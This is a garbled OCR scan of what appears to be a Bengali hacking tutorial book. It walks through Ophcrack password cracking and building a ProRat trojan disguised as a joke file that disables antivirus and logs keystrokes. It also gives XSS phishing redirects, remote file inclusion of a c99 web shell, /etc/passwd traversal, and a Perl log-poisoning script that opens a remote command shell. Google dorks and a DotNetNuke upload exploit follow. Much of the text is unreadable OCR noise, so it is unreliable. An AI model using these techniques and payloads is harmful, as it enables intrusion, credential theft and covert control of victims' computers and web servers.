Y| Load 9 {9 @ Local SAM T8 @GB! (O FEAOOIE [T FThe
JIYTIIRT TP AT I @R

Frojress Skekistics Praferences

|ser LI Hash MT Hash LMPwd 1 LM Piwd 2 ™ Pac
Adninistratar L1BFTET120E5E. ..
Eob FECOL1E43CDEL.. |BF354DTFFTDM ... ermaky
David M L1BFTET120E5E. ..
auzst F1dacfe0dlGasd. . emaky
Hepassskant BEE391CDIS408..  45172F9E45147 .. 79
Pushkin 9DIS01DS0ES9A..  F2ASDE0ZABCAS..
SUPPORT _35594.. 0053034613586, ..
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Q19399 Crack 94 {555 96 ATSAG SET THIF FI00 9F FIE|

b 19999 Qi @S fbr@s 30 Wb BIeet MAm AE|

D b &
el . .—o-J'
Load Delete Save
Progress Skatiskics Preferences
Iser LM Hash
Administratar
Bob FaZ911E43CDE]L ...
Dravid M
Guest
HelpAssistant Ba33I01CDza408.
Pushkin SDOS01DS0ES9A...
SUPPORT_38594. ..
Table Directory

+- @ nP free fast CifDownloads/Ra...

Preload: done

> Q4q (YO IR WA fOAGT GPIeT GF JT BRI

- qJ @I A ol
- Bob :lolcats
. David M: not found

« Pushkin: Christmas02

Brute force:

1 :4"4‘
Tables Crack. Help

MT Hash LM Prad 1
11BFYBET120858. .
1BF354D7FF7D ... LOLZATS
11BFYBET120858. .
3ldécfelditaes. ..
453172F9E449147... not Found
FzooDhzozaeaL... CHRISTM
DAOSEDE4E1 386 ...

Skatus

100% in RAM
done Piud Found:

0 @

=13

Exit About
LM Pid 2 MT Prad

niok Found

empky lolcats
niok Found
empky

nok Found niok Found

A502 Christras0z
niok Found

Progress
317 Time elapsed: 0Oh 1m 49s

ST ISP A6 T
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Ophcrack e1R® B

B3OS Y GIIF FIF AGFT &0 @O AT 94q 743 Of ophcrack #i3e B

S.ophcrack website http://ophcrack.sourceforge.net/download.php?type=livecd 4

Th3 QIR OIFF @D Peoas T3 Hifel seqare st

3. IS0 PR FBI BIGAETG FER Of M@ G0 @iRe HG s @eiE SFE 9
Of JIfAG@R Linux chapter @ |

o % 5 7% gikee .pts 3 % @ 3T 7317 ey {010 s

8- Qi uI A .
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ophcrack LiveCD

OBJECTIF SEGUFIITE

¢.Graphic mode 9 Enter (5T b CTCPS I $T ¢, IM 6 9F 71 J IR $g Al
74l T3 OTRCe T {9 BIe]SE Ophcrack Graphic VESA mode 9 I8 | I G
/('8 e Al R IR Ophcrack Text mode QT FIIE J6 WG|

Y.0phcrack 3356 1Y I AT QR ARSI DT [ 9F FIE|
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Countermeasures

20T SR IR TR FAGE  @6IIRSEIF 9IR Ophcrack AEFI@ET ([E BT AR

> .NetBios F@FFq (& TF (I TR Q32 FRT 1T 35 et SRt 1
QR q 9 IF I W 1970 37 3@ o 7 |

#Start -> Control Panel -> Network Connections I3 |

HbIe] AT I Q Gl 5 DT QAT AT ALICART
Wireless Network Connection 21

# Properties 9 BI%f m\g|

# 3% File and Printer Sharing 9 03 183t N oI TF P
ok I




LAN or High-Speed Internet

9 =™ 1394 Corpection 2
CnnnﬁctaE\}Firewalled

m_ 1394 Met Adapter

o ed

;;Q* 2 wWireless Network Connection 2
5> | Connected, Firewallsd
L 01 METGEAR Wizlll 802,119 Wir...

General | Suppart
Connection
Status: Connected
Metwork: EntertindG etH acked
Diuration: 01:05:43
Speed: 1.0 fbps
Signal Strength: Il[l[l[l
B civity
Cent . I Received
F‘
{[m]
Eutes: 16,306,226 F1RE49.425
l Froperties ” Dizable H Wiew Wireless Metworks ]
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Gereral ":.-'-.-';irE|ESS.H etwiorks | .-'f-.dv-anced_

Connect uging:
EZ METGEAR G111 802.11gWireless

Thiz connection uses the following items:

(-] Client for Microsoft Hetworks A
File and Frinter Sharing for Microsoft Hetworks
(oS Packet Scheduler |
T Mebwork, hanitaor Diriver jladl
[ [mztall... ] [ I rirztall ] [ Properties
Drescription
Allowes your computer o access resources on a Microsoft
nietwork,

Shows icon in notification area when connected
Matify me whern this connection haz limited or no connectivi

(H] ] [ Cancel
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bq YT

LBASRIE|

IBAA AR T]IR 9 @R FITSIF =IF AFS R | A IS @ AT

TSI 2 ANFS 1932 Qo] 20 9T 4617 Sz, G, s | 93

TR TSR 93 R 9R 9@ IIF TE AEHA T4 Q@ | 9R &
AT MAC I o7l GIF a1 Bfbo, IR Gie WIS T |

#f3f6fo

> BIZF-FIOBIF SIRFNT 6T G GFAF FIIOHF @I I JIITPIAT TGO
3 N =GR faee fAcsz 9 2o @ 16 SiFeH J0 ol 4F0
IR IREIE R0 F00 @ I I e ko 2o T
1930 BRI GF FPCOR ([ WA FAOLIF @O AF@ @I I49 S
PCEIRCP FolP FIOERTT IR @ e FIFFF I FIAFTPIRN
SIRAMDE QI @6 ST T A0 M@ I I IAETN A7 I Hf
5%, P, 36YARR g3 I ITREE0T T ROl T 19%GHS ©i33 o}
@A @5 STF FI3A OO NS FI0 AE, TF T Ty SRACHT Tt Q@
PIEEA I9RF @ COET ASFS O *I1E [SIRAPE FIAT FRACOR oI 3
G =M 93 iR R{fE @ 23

.G T - -GroT T 79 930 TR A 9RFRFCET 2717 et 143 Ffol
N | 9t T oI, FIRA 7831 3o §F F919 Fiw 330 J |

0. 931 - oI TR GF KFF SIRFM I (OFF Bievd iR & AFE FG ]
g {9 R0 A | I AFI0I0 I3 0fF F0 I 7 B 9I 97
A TGO AW

¢ TFOHI -3 I @ PIfY 93 75 @i, G, Iofes w10 3@
193 T T3 AR I7
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Blended Threats- Q6 SAGET 3 T Q3@ G FE OF IE J | 9T JE
TAGH 39 QTREHE TR |

(2{1F71C ProRat
www.mediafire.com/?b1x1anfjxmx (G (T TISAENG FEF ANS|HIT R
93fb e |
> (AT CISACIG ¢ Ble] I |

.P@7 99 @ IS I

ProRat V1.9 [ _ x

PROHACH.NET F'F.‘EI%*‘EEEIDFIFIL INTERNET I

[4127.0.0.1 g For: I A: [ [ Conrect ]|V

| ]
w

FC Info Applications

Meszage Wiindows
Chat fudmin-F TP
Funing Stuff | File banager
|E xplarer Search Filex

Control Panel Reqiztry
Shut Down PC) Screen Shot
Clipboard K.evLogger
Give Damage | Pazswords

R. Downloder Fun

Frinter Services
Onlite Editor JProConnective
Create

0, G AN FIET AT FIIS (ARAR | Create ProRat Server I 55 I |

) Create Downloader Server (2 Khayt) k
mp Create CGI Victim List (16 Khayt)
@) Help
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8. GIIF (OTAIF I3 TIAT W 1P G focdt|Ip af T e
www.cmyip.com (TP S @7 ANG| AFIOIO (oI I WG fered |

A I )

ProCaonnective Matification [Mztwork and Bouter]
Suppomts Reverze Connection

bt |/ ze PraCannextive MNatification

General Settings [F [DMS) Address: 27001 e

Motifications

b il Mohification
Doezn't support Beverze Connection

B Use Mail Notification

E-MAIL : |G e e Eatatel

Bird with File

Server Extenzions

ICO Peger Motificztion
Doezn't support Reverze Eunnectinn[«}

e R E lze ICC Pager Maotification
e ENI Y 157116797 ] Test

CGEl Motification
Doezn't suppont Reverse Connection

Hel
@ hep B Uise CGI Matification

E| WAL it A vy pourgile, comndcgi-bindprorat, coi

Cepver Size; 342 Ehapt | Create Server |

¢.93°1F General settings JIGC B T Server port,Server password 93R Victim
Name 7 3T |




A

Natif sfians sereerlot

-~ (] 1
Server Parswond: L

Cernerd Settings Wictm N ame: _

bl Siive = fake =mor meszace.
L At zerver ik install

Hid gl [ <ilAV Pl on sart

L 2tizablz Windows 2P 3FZ Security Center
Servar Extenzong |- L Dizable Windows %P Fireweall

b —loar Wirdoas =P Bestorc Zoints

R — E Jot zend LaM notifications from 132, 68~ ar[10.7.7.7]
Irizihility
EHide Processes from All T ask Managars [9e/2k 2P

&) Help EI lide %alues Cram Al kind ol Megistoe Cdtors [Des 2440

EHide Marmes From kezonfig [3R7zk 4P
L UnT eiminate Piocass [2k4<F)

ServerSizer 342 Fhagt

———

Y.Bind with File 7 (F T3 P8 I@ET | I IO @ @ (ST =i

PGS B I& Mo F | 99 & 9aq Biel o @ @A &7 @fb 8toiq 3@ | oI
I .txt PIXA PIETg IER |




Ao I ]

Hotilicatons [ Bird avar with & fla.

Gerieral Sellings

Thiz File wil be Binded:

Eird with File

Sorect Extenzions R
ﬁ

Jerver [zon

& | lelp

| lreAte Srrvear |

Server oze; 42 Rbent

T—

-
Lok i | (EF Desktop H =] =5 Ef-

LMy Dacuments

j. My Compuker
& My Mebwork Places
-_.:ﬁchuziIIa Firefio:x
_JProRak_w1.9

Funny Joke

File narne: Funmy Joke %
e i Cancel

Filez of type;

Q. QF7MF Server Icon T IR FOT FRIFA T8 FENATF IO GI FIIT 9F
SIS LRGSR RIGIH




B o N -

Select SPwer Extension

Motifications
E\E E E+E [Haz icomn suppart] E SCR [Haz icon suppart]

E FIF [Haz no icon support] E COk [Haz noican support]
E BAT [Haz no icon zupport]

General Settings

Bind with File

Semver Extensions

Server lcon

) Help

Server Size: 342 Kbayt | Create Server |

e —

b-.Server Icon JIG BI# w8 Q32 fAST I3R! JCoT U3IFA 21g¥ IGE! |




m Create Server

Motifications %

General Settingz

Biird with File

Semer Extensions

Server lcon

) Help

® QE&:’W@

i
i
(]
- .
o '_; .

CerverSizer 342 Ehapt

Server lcor:

Chooze new [con

Create Server

>.Create Server 9 B whs |t 53 oK T 0 0 F00 MR FIRAD

fo@s 901 E |

binded_server

>0 JIFIFHN PIZA T A Q¥ (T IO QA JAF TGS FIRANG S 9

.99 FIfy 39 fFIr FFRH T *[o@ =5 J|

52,313 b 337661 TR 17 “ITSTMT BIE ASIC @eAF 7 FHi7 3 7@t P&

(OIId QAo GCT AT |

92




. RETE . Dhzeomrant ‘J _*f il 1§ el
- - |

[ Fun ProConnective shen Windows starts

PC Info .":".I:II?J]_CEtID"I | | P
tMeszage ProRat V1. 1:r"‘\'{:vl:rI'II'In?.-vl:tvll-ll:l[‘l 27.0.0.1% n::u:mnec:liuns
Chat Ad

Furry Stuff | Filel]  Password:
|IE wnlorer ':.pJ T2
— LEER

Control Panel 4
Shut Down PC| S n:rl 0K Czriel
Clipboard | Kef
Give Damage | Paszwords
R. Downloder Run
Frinter Semvices:

[ PP G st | T
LITHreE CUiar grideoririegs e

Create

Server iz pazsword protected.

50.94F (OTHIF RO A@S A7, 9% FifoE QAEIET g F90 ARA|
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FroRat V1.9 Connected[127.0.0.1]

\qf-lide Deszkiop lcons Shiot Lock Cril+&l+D0el
FC Infa Applications Hide Start Buttan S oy Open Chrl+&lt+Del
Message Windows Hide T askhar Shicy
Chat Adnin-FTF Open CO-ROM Cloze Cloze Monitor
Furry Stuff | File Manager Crazy K.eyboard Lights Fix it Qpen Monito
Ik =plarer search Files Yinlate Display Fiw it
Control Panel | Registry #dd a Tail to Mouse Fis it Open Screensaver
Shut Dioven PC| Scrzen Shot Lack Mouse Fi it Lloge
Llipboard KeyLogger Make Mouse Go Craz, Fis it
Give Damage | Passwords FlipScreen Fix it | ©) Help
R. Downloder Run
Frinter Szrvices
Online Editor |ProConnective
Create

Start button iz hidden

>8. 3 eTwb (idi 3f @i aeTe stors




ProRat V1.9 Connected[127.0.0.1]

FC Info Applications
Mesmge Windows
Cha Adrmin-F TP
Fumtw Stuff | File Manager
|E =plarer Search Files
Control Panel Regiztry

FMezzage bBox [itle

Shut Down PC| Screen S hot
LClipboand Keulogger
Give Damage | Passwords
R. Downloder Fun
Printer Services
Orlire Editor | ProConnective

Create

@ N\

E

You have been hackeditoamm

Mezzage B ox Tex: ialER=aa=t= ) =t 1= I

Test

Send

| ) Help

I esho
B Ok Cancel

[ Cancel Ratry

Wndows Lontol Panel

hezzage zent.

>¢. QR IW B RC @I OIE IF0 9 @IE|

s
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S FHAAG e 97d @A)

EEETITT o |~ | T

T TR

SmanliotfHewe |

LT Mt ] S b B

Picture quality: | Open Images Directary || Show in fullzcreen || i) Help |

| Screen Shot [Method] ] | |

Screen Shaot [Methodz] |

| wiehCam Shot [Methad1] I

wWebCarn Shot [Method2] |

e - | ——

#hd ethodz: |

THART IS O R GISIT 07 9R JIAIF I [ | WAFF I F A@S T

AE Imfao0000000000

VRV

TS TOFO AR FIS F0 ] | AIRE IR AT 0 FFg Mafo @i

Y I ©IRINT & 7 U T
#TC0 AIATGENR Ot Qi TSIZFT I35 F700 | %

HOIOIS 9T Fire wall Id FF00 X |
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> 9
IGERLIIEN

A Q4T SRR 2.0 JOIF S WA, SEIAIZT AL AfSNT GR users ¢
content U3 Y interact FIC0 (R ISFRT Y2 BFOF R F YIFRFTF 8 @S
T ARIGR AR, AN S AT [tz W@ sy g
H7S @ ACEHAT F91

@ 130 R (XSS)

Cross site scripting (XSS) 0YA3 I I4A (FIF 30T PRI &FIC &IF website
Q R AN DA ST AT 9FF ©IF IS S Jf O I U
ATIXSS attacks AP SATNT GIR A I6 website U 7T AEIS IER I TR
FBI, CNN, Ebay, Apple, Microsft,AOL SR ﬁ? SRR fFBIF XSS attack 93
GqJ vulnerable Idq9

* Search Engines

* Login Forms

« Comment Fields

QI © FREF XSS attack DR

SlLocal-Local XSS attack I T AF THI QR F1I7193 attack 99 AT browser
vulnerability 9@ exploit TeFIH193 ¥FAF attack 93 FHW 9 &F PR O
computer 9 worms, spambots, install FICO A

2INon-Persistent - Non-Persistent attack e 33 (S JLFA attack Q3R BF ST 7
SRIARWT FIF FO FE dF INon-persistent attack 93 T SEIAIEG JHFT




g RF6 B! I7192 attack 0 Y J@ IS F31 URL 9F Fa3 Az w4
IGIRIE fAME URL ST 913 93 attack 9 T 2s3 IE|

O|Persistent -Persistent attack JYIFAO guest book, forum,shout box QYT SGR
SfRIETAd (et 91 [ IYTPIF persistent attacks 9T LA QT FICO ANEH:

« SEPNRET I §fF,

. ST BTIO AG,
- QFATP SFPIRT B8 T H|
Qeq §ﬁ{ 19 cross site scripting 5 1901 SRIFIRL FOIE vulnerable 3?

51 I S search field T OIRE Q61 X7 @ I8 =7 &A@ e
IR AT O GI6T vulnerable ST Q0T TIIAT AT |

1 9 ST Fg HTML S SR <h1>hi</h1>, 2@ S99 I <=4l
FoIREI R I8 AFE(P@T 70) “hi” @GR

<h1>hi<hl >

Mo results for "

hi

OIR(T Of vulnerable]

0| Q4q AT JavaScript & FIR| <script>alert(“hi”);</script> abf Search
I M “hi” G0 A5 JEF 31T site B XSS 9T & vulnerablel

<$cript>a|ert{"hi"jl<.|'sl:ript>|
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hii

L 4

81937] CUIRIFA STl non-persistent|JW (17 YIFIF guestbook I QFF &I 57
AT T vulnerable BT OICP persistent A0 AFH|

1T M JavaScript 8 PHP @ AT T BIRET (T advanced XSS attack 9
JIIE ©E cookies B FIO AFE 8 XSS worms RS o ARE I @4
phishing 43 @] YT FOIE xss FIT TG

S| JA I JIFF www.victim-site.com (TP password §f¥ 900 BRIRM G
SR 9T GIF TR’ XSS vulnerability 40 I O &1 B1e6 S@IIRG
3 OfF R SERHARE redirect FG A0 77 TX|

2 ISARFATFH Wy W Javascript 0 search box 9 A 912 O @ URL &
11 ©f B (13400 fAwd J0 G|

_l\ htkp: Jflocalbostformn, php?searchbo= <scripk =alert"hi") < “rez2Fscript =Bsearch=5ear ch!

Ol URL 9 ?searchbox= Q3R &search 43 FI 37 TF G JavaScript code @IS
replace P00 (S8
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<script>window.location = “http://phishing-site.com”</script>

8 o199 finished link 9 (oIteT BitslB S@RRET R SEIIE redirect 3@ MA@
IURL G ITH'S TITeT 8 T NWRGAP (MA100 JIPTH UG encode 0 A QR
w7 STIAIRDT R encode FIW@ AT

http://www.encodeurl.com

¢ 19qIES URL B @ @FAs

http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locat
ion+%3D+%5C%22http%3A%2F%2Fphishing-
site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21
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fRCE 13T ZAFT

R 13 39879 (RFI) U T IAEIT SEITIZET T3 BIeGA=E
Include 1 JFTYFIO & FIRAID include I J OIF I Shell I YR &
server side command execute IO (T YR ARIF PIR access IO (|

O[S SISIF3 RFI vulnerable [FFd PHP 43 default settings TRCI register_globals
3 allow_url_fopen 9IS qqIqe] Pl P M8 PHP 6.0 99 register_globals K q©
3 ARI94T @Y FoIE YIFEF SEIANID 97 vulnerability 9HARD FH|

> I G SRRIT Y0 @F FIR I OFF 16 &N PHP () function 93
I (I A AF I RFI 9F &FS vulnerable | @XF ©f YIFIF Google dork
IR FE RFI 99 &7 vulnerable IR0 @F O |

I F] Website 97 @SN PICHE o) SR (I (S 3 1 J @A
http://target-site.com/index.php?page=PageName

OICISBT vulnerable T YIFIF 82 PageName 9 3908 9T SEIART include
I G I

http://target-site.com/index.php?page=http://google.com

8 1IN ST Google (RIS AR OIRC JIPH JHE @ SEINRGIO
vulnerable Q3R shell include $9E |

¢ ISR R0 shell T ¢99 8 r57 [TFIREF 9B GF0! remote server (I upload 101
00 @ Il Google dork RIF @ SFIAIRD upload ! IR OF 40 @F IO E




3 include O W Ishell YECO YIFF Google @ inurl:c99.txt e1CY search Mo
A AP SEPNIGR €99.txt ANGHT | URL GF OIF 2 (15 900 A PIA
I €99.txt GF 7 5% HIGT OIRCA ©f shell G pass FE @@ AQA URL Bf shell 3R
400 989 }E

http://target-site.com/index.php?page=http://shellsite.com/c99.txt?

Y IR server GF PHP script @ .php (4T IR 207 FIReT GF #1711 QA shell
include T T (IR “c99.txt.php" FCT QB FI& FEF ATIYD! 7 FHCO (OTAP
QBT null byte (%00) @I FICO A |

A1 R 9 I AR @ JIPIF Google dork & RFI vulnerable S@IART @R

e GIRERUEan] Google dork X8 allinurl:.php?page= 9fo php?page= 3R URL
JCSIfFE O A vulnerable site SISTT I ISR FLFNO 1337day S FO
QFARD GIGIEET RFI Vulnerable SEINIGT 9FARTG ﬁ@l
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b I YIFIF STFSIF 9T shell, parse FICO ANE OIRE T [ screen AT AIE]|
1c99Shell v. 1.0 beta (9.06.2005) !

Sofoware: Apache. PH

umame -a: Linux server.netkosmos. com 2.6.19.2- |5-grsec #1 Fri Jun 8 18:04: 05 CEST 2007 iG86
uid=9%{nobody) gid=99{mobody} groups=991{nochody)

Safe- mode:

Shome wg20fp6ipublic_html/mews/admin/ine’  drwsr-xrx

Free 48.4 GB of 70.19 GB (3.9

Hal [Ea| For] UF] Fel =
J J J J _1 J Extraz Encoder Bind Proc. FIP brute Sec. S0L PHP-code Feedback Self remove Logout

Owned by hacker

Listing directory (11 files and 0 directories):

Y

[=

i add.php

o
(i)
o

a6 o
5 o7 o o

)

daleta_aetion. php

o
o

| menue

_@"]
i
ﬂ
irf chj
|_ni1
I
ﬂ

Image =

1=
0
ha 3

Canfirm

:: Command execute 1z

11 Search 1 11 Upload =:

I T

2 Make File
&l public_html) tadmin

= iz Go File z:
g 80fp Alpublic_htoalin fadmin finc! 30 Shame JwgB0Ffp &fpublic_htmlin fadminfing

--L c99shell v. 1.0 beta (9.06.2005) powered by Captain Crunch Security Team | Generation time: 0.1022 ]

shell T remote S YT O QI (AR GIR 7] T 8 directory 9T list
I 10
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193717 I root privilege STH GBI FAR | ETIPIT GHART HWHAEG FE 8
run 8 (T root privilege (10 AF|

Q3 RFI attacks (AP IHCO BIZCE up-to-date scripts AT PO W IAF SR
php.ini 49 register_globals disabled J00 ([




CETIPIeT IS A

@I I3 ITEA (LFI) 9T T ISR directory transversal 93 T Jree
P FHO! PO JFILF 9F AYEFT FIRAF 9 Jetc/passwd @F 91193 IR
TSy SICOER TGS (GIf7F R A IRFI 9F J03 Yfb0 9F3 ©IE vulnerable
SRIARD ANS IR4F GFB! vulnerable SEITIL T3 www.target-

site.com/index.php?p=about

directory transversal Q3 FITE (T Jetc/passwd browse FIF GBI FAR QOIS

www.target-site.com/index.php?p= ../../../../../..]../etc/passwd

M YIFIF /etc/passwd TR IR IR O 1 [T FO ¢iAO &3

Root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log: /bin/false
Ip:x:4:7:1p:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
105

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt




A5f6 @iZq Tiofb T St 31

username:passwd:UserID:GroupID:full_name:directory:shell

Iy ATSTICCT Y G141 IR TP Of crack FI00 2@ I(5S I password Jt
(AR OICT JIATO AR Of /etc/shadow file Q@ TIIET AR T JIFIF ©F A0
AN o1 YIFI & A injection 7IFT 40 A

TofeeTt ferics [Rfeq distribution 9 RS SRR AP ITAG SMGFA $F Directory
qF foPB ¢TIl T @A ST T AP

../apache/logs/error.log
../apache/logs/access.log
../..Japache/logs/error.log
../..Japache/logs/access.log
../..J..Japache/logs/error.log
..J..]..Japache/logs/access.log

od o] ] ]..].Jetc/httpd/iogs/acces_log
fod o] ] ]..].Jetc/httpd/iogs/acces.log
fod o] ] ] Jetc/httpd/logs/error_log
od o] ] )] Jetc/httpd/iogs/error.log
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el ] d ]]..Jvarfwww/logs/access.log
fd o] ] .]..Just/local /apache/logs/access_log
fd].].]..]..Just/local/apache/logs/access.log
fod o] ] ] .]..var tog/apache/access._log

ot oif.].]..]..var log/apache2/access_log
S]] ] Ivar log/apache/access.log

ot o] ] ]..]..]var/log/apache2/access.log

od o] ] ] varfiog/access_log

od o] o] ] ] Ivarfiog/access.log

od o] o] ].].Jvarwww/logs/error_log

el ] o] ]]..Jvar fawwflogs/error.log

fd o] ] ] .]..Just/local /apache/logs/error_log
fd].].]..]..Just/tocal/apache/logs/error.log
od -] ]]..]..var ftog/apache/error_log

od ] ] ] .]..var log/apache2/error_log
S]] ] Ivar flog/apache2/error.log

ot o] ] ]..]..var log/error log

od o] ] ]..].Jvar/loglerror.log
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ft =% injection HIF g 419 (18T 77|

>, ST YIFIEE BB S@TIMIET TANEBR HEoE@s o G 00 &3 9
PR ST A

.99 LFI 9F A YIFE 8 PIETT @A @ G IW 55 oo sArsgt
R OIRCT AHEFS et JE |

0. I T fFZ PHP (FIT 15 FIRCT inject FHCO @I URL 9 = b9 4

<? Passthru($_GET[‘cmd’]) ?> (PG Inject FIC0 | GO JIPIF Shell access
3900 TRA YR PIeE 9 19 FI0 ARE AT URL G J1d FIIE php
fF0 o TR

4.3 YT 83 AT % PICET I OIRCET PHP (IS 977 \AE
%3C?%20passthru($_GET[cmd])%20?%3E

591570 PHP (FIGf6 q4itd Faoib 2@ ¢ltz14fb 456 JrewEs FoRIFIsEd pHP
60 (& YT IE FERI9AE QT el Freb JIAT I 93 T AL

91 AT @S @s3 LA PeLo $site, $path, $code, QR $log ARIEA
0 Qs 3@ [ Q|

#Y/usr/bin/perl -w

use 10::Socket;

use LWP::UserAgent;
$site="www.vulnerablesite.com”:

$path="/";

$code="<? Passthru(1$_GET[cmd]) ?>":

$log = “./../../../../../../etc/httod/logs/error log™:
print “Trying to inject the code”;
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$socket = I0::Socket::INET->new(Proto=>"tcp”, PeerAddr=>"$site”, PeerPort=>"80") or die
“InConnection Failed.|nln”:

print $socket “GET “.$path.$code.” HTTP/1.1|r|n":

print $socket “User-Agent: “.$code.”|r|n”:

print $socket “Host: “.$site.”|r|n”:

print $socket “Connection: close|r|n|rln”:

close($socket);

print “|nCode $code successfully injected in $log |n”:

print “InType command to run or exit to end: ;

$cmd = <STDIN>;

while($cmd !~ “exit”) {

$socket = I0::Socket::INET->new(Proto=>"tcp”, PeerAddr=>"$site”, PeerPort=>"80") or die
“InConnection Failed.|nln”:

print $socket “GET “.$path. “index.php?filename=".$log. "&cmd=$cmd HTTP/1.1|rln":

print $socket “Host: “.$site.”|r|n”:

print $socket “Accept: */*|rln”;

print $socket “Connection: closelrln|n”;

while ($show = <$socket>)

{

print $show;

/

print “Type command to run or exit to end: “;
$cmd = <STDIN>;

/

L. 1T 3 Brsb P SIE /MO ARE FOE AEIE! I PO AR 9IR
TP QFART FE ROOT access A0 AFAE|




e % e@E gifse
DNN 12

DNN 9 3] AR AT Dotnetnuke Jf ASP (T GG CMS|

<=¥C (OIFIE 90 SFINIE Y& @F PO @ BT Vulnerable] 93T g
@9 ©F MR Vulnerable 3T 46 @F FI0 *RGE|

GHB Cels

inurl:"/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx"

@9 «ft fo1ed G e S Vulnerable SEIRE I TE ©FF QA AT
G QE® qIS|

‘ inurl:"/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx” Search

About 2,850 results (0.04 seconds) Advanced search

*{ Link Gallery { DNN 4.5.0 < nwna pannnn “. - [ Translate this page ]
am3 ) o Omaa yauE) yup (% e g7 ) T (330 28w Ve ) uIT0TH DN eeEn Ao
... T[T UITOIH TAM2 N2 { WFN TN DM
fril.co.il/Providers/HtmIEditorProviders/Fckifcklinkgallery.aspx - Cached

Parallax = Link Gallery

Link Type: URL { A Link To An External Resource ) Page { A Page On Your Site ) File [ AFile
On Your Site ). Location: { Enter The Address Of The Link ) ...
www.parallax.com/Providers/Htmleditorprovidersf/fck/fcklinkgallery.aspx -

Cached - Similar

pools/imodules/Providers/HtmlEditorProviders/F ck/fcklinkgallery. aspx

PlAA: Mews, Information, Property Investments and Resources for Property Investors.
dev.piaa.asn.aufindex php?.. /ProvidersfHtmlEditorProviders/Fckffcklinkgallery.aspx -
Cached

TG GO QP @I A3 W7 R 79 T3 9399 W oI @ 1979y IS
qt (e 8% SEIMID vulnerable Tl

110

www.purepdfbook.com

P1nix_Cr3w | www.facebook.com/plnix.cr3w




Link Gallery

Link Type:
@ URL { ALink To An External Resource )
] Page { APage On Your Site )
") Fila { AFile On Your Site )

Location: [ Enter The Address Of The Link )

http://
Select An Existing URL

EURL:

Use selected link

= File (A File On Your Site) fer4t Gf%s A FF FGT |

Link Gallery

P T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T TS E TS EE s 1
Link Type:

© vRL { ALink To An External Resource )

© Page { APage On Your Site )

'@ File { AFile On Your Site ) i
URL: 5

File Location:

Root -
File Hame:
0.t -

IUse selected link

= javascript:__doPostBack('ctlURL$cmdUpload',")

www.purepdfbook.com
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Script f0 TSGR IGRIE T FE!N

WEEEERAN 5 Biue Fox Billiards | Blliards | Bar | Gril > L. £

€& > | javascript:__doPostBack{'ctlURLScmdUpload',")
—rt

Link Gallery

. Link Type:
() URL{ ALink To An Fxternal Resource }

Page { APage On Your Site )

| URL: File Location:
Root -

@ File { AFile On Your Site ) i
' File Name: |

Upload Selected File :
Select An Existing File !

Lize selected link

= Script I1q PHIET TIA Upload F91F &5 T50@9 O Browse JGATL M|

Link Gallery

Link Type:

i ") URL { ALink To An Fxternal Rasource ) :

E i8] Page [ APage On Your Site ) '

: @ File ( AFile On Your Site ) :
File Location:

Root -
File Name:

Browse_

Upload Selected File
Select An Existing File

ze selected link
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= QYA Browse I Jpg,Gif,swiR0JIW T Upload FHC0 ARE QI TR
Upload I Of YA SIF /portals/0/ (O Upload XA
I (oI 30F A1F W target.net Y3 COTAF Upload T FIZe 7 A
I I test.swf OIRCET (O BIeA A
http://www.Target.net/portals/0/test.swf (O IfCSR AT QT P (swf)
Animation T4 Upload ¢ WIS, 71941 ([
http://www.mediafire.com/?mntuomzigmy TPLSRT BISAETS F [0

AT
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IS

G J3M000 @ 1 ¥ 4 ACETHAT S R OF I 3 A 19 e
R 98 SIq00 @ofe AT FIETF I AO WA GG 8 FAOI
R AR TR S B Fr4o TRIRET @ B51/F1++, 51435 A sti3q

3o7if TS Wt fAw Aeietar 93 fEot-SiRAr F300 3@ AR A& Fieio
ENGTFE AIFOCT @I [Fg @R CHE SERO TIES Sele S
Q350 QHYe, B9 9 wrieifEret o5l e ool Fite it SRR-(GreaHs

O AR I T (OTH O IRTNTETS GBS (Non-lazy) SEI-(GTSAANET
IR @Al
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